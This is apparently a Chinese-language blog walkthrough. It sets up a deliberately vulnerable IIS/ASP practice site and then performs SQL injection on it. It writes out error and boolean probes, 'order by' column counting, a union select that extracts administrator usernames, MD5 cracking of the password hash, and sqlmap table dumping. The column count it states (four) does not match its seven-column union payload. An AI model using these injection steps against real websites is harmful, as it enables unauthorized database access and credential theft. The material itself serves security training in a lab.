环境搭建
先在电脑的搜索框中搜索IIS
如果有则直接使用如果没有则在搜索框中搜索添加或删除程序
进入后点击右边的程序和功能
进入后点击启用或关闭windows功能
选中net3.5和net4.8
继续如图所示选中图中选中的内容
点击确定后即可使用IIS服务器
打开IIS服务器
点击图中的浏览打开网站根目录
将靶场的压缩包解压到当前的根目录下(一键三连截图私聊发靶场压缩包)
点击服务器主页下的IIS下的ASP
将错误发送到浏览器改为‘True’ 将启用父路径改为‘True’
点击应用池下的网站的高级设置
将启用32位应用程序改为‘True’
点击绑定,添加
访问IIS服务器绑定的IP地址,即可访问网站靶场。
输入id=1'报错
输入id=1 and 1=1正常
输入id=1 and 1=2报错
判断为数字型
判断字段列数,输入order by 4正常 ,输入order by 5 不正常,判断为4列
news_view.asp?id=14 union select 1,user_name,3,4,5,6,7 from administrator显示正常说明存在这一列
![](https://i-blog.csdnimg.cn/direct/09816027be1842ada0cf5332a5d76e38.png)
密码进⾏md5解密 并去后台登录 后台地址爆破⼀下
![](https://i-blog.csdnimg.cn/direct/98c9a10f08c3439f801365743077ff48.png)
![](https://i-blog.csdnimg.cn/direct/b66a16df7d014aafbb40bd7eb665c853.png)
方法二:
用sqlmap工具跑注入点
如下图证明存在sql注入
--tables查表,因为access没有库只有表
使用-T products --dump查数据